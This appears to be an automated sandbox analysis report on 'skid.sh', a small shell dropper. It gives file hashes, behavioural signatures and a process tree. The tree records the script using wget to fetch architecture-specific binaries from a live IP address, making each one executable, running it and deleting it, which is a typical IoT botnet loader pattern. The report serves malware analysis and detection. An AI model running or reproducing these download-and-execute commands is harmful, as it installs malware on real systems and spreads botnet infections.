Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/02/2025, 16:54

General

  • Target

    skid.sh

  • Size

    1KB

  • MD5

    b748ad8311eb181303f9c59d1efd764f

  • SHA1

    e3da904334e7ed388ef2ccca048c7a0e50e4332b

  • SHA256

    32e82081fe66e5f77000ecc3fde85384723a93ab7b242f39de6621d5959d38bf

  • SHA512

    b34853c0dac00b278c10e3019751634603099ce87125824a278e90d978560449ffc34c6af404134928be3d413979934d61aa5003fe1f826f980c2908449c7da5

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/skid.sh
    /tmp/skid.sh
    1⤵
      PID:699
      • /usr/bin/wget
        wget http://185.224.0.18/skid.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:703
      • /bin/chmod
        chmod +x skid.mips
        2⤵
        • File and Directory Permissions Modification
        PID:725
      • /tmp/skid.mips
        ./skid.mips
        2⤵
        • Reads system routing table
        • Reads system network configuration
        • System Network Configuration Discovery
        PID:727
      • /bin/rm
        rm -rf skid.mips
        2⤵
        • System Network Configuration Discovery
        PID:730
      • /usr/bin/wget
        wget http://185.224.0.18/skid.mpsl
        2⤵
        • Writes file to tmp directory
        PID:731
      • /bin/chmod
        chmod +x skid.mpsl
        2⤵
        • File and Directory Permissions Modification
        PID:734
      • /tmp/skid.mpsl
        ./skid.mpsl
        2⤵
          PID:735
        • /bin/rm
          rm -rf skid.mpsl
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://185.224.0.18/skid.x86
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod +x skid.x86
            2⤵
            • File and Directory Permissions Modification
            PID:739
          • /tmp/skid.x86
            ./skid.x86
            2⤵
              PID:740
            • /bin/rm
              rm -rf skid.x86
              2⤵
                PID:742
              • /usr/bin/wget
                wget http://185.224.0.18/skid.ppc
                2⤵
                • Writes file to tmp directory
                PID:743
              • /bin/chmod
                chmod +x skid.ppc
                2⤵
                • File and Directory Permissions Modification
                PID:744
              • /tmp/skid.ppc
                ./skid.ppc
                2⤵
                  PID:745
                • /bin/rm
                  rm -rf skid.ppc
                  2⤵
                    PID:747
                  • /usr/bin/wget
                    wget http://185.224.0.18/skid.sparc
                    2⤵
                    • Writes file to tmp directory
                    PID:748
                  • /bin/chmod
                    chmod +x skid.sparc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:751
                  • /tmp/skid.sparc
                    ./skid.sparc
                    2⤵
                      PID:752
                    • /bin/rm
                      rm -rf skid.sparc
                      2⤵
                        PID:755
                      • /usr/bin/wget
                        wget http://185.224.0.18/skid.arm4
                        2⤵
                        • Writes file to tmp directory
                        PID:757
                      • /bin/chmod
                        chmod +x skid.arm4
                        2⤵
                        • File and Directory Permissions Modification
                        PID:763
                      • /tmp/skid.arm4
                        ./skid.arm4
                        2⤵
                          PID:765
                        • /bin/rm
                          rm -rf skid.arm4
                          2⤵
                            PID:767
                          • /usr/bin/wget
                            wget http://185.224.0.18/skid.arm5
                            2⤵
                            • Writes file to tmp directory
                            PID:769
                          • /bin/chmod
                            chmod +x skid.arm5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:775
                          • /tmp/skid.arm5
                            ./skid.arm5
                            2⤵
                              PID:776
                            • /bin/rm
                              rm -rf skid.arm5
                              2⤵
                                PID:780
                              • /usr/bin/wget
                                wget http://185.224.0.18/skid.arm6
                                2⤵
                                • Writes file to tmp directory
                                PID:781
                              • /bin/chmod
                                chmod +x skid.arm6
                                2⤵
                                • File and Directory Permissions Modification
                                PID:791
                              • /tmp/skid.arm6
                                ./skid.arm6
                                2⤵
                                  PID:793
                                • /bin/rm
                                  rm -rf skid.arm6
                                  2⤵
                                    PID:795

                                Network

                                MITRE ATT&CK Enterprise v15

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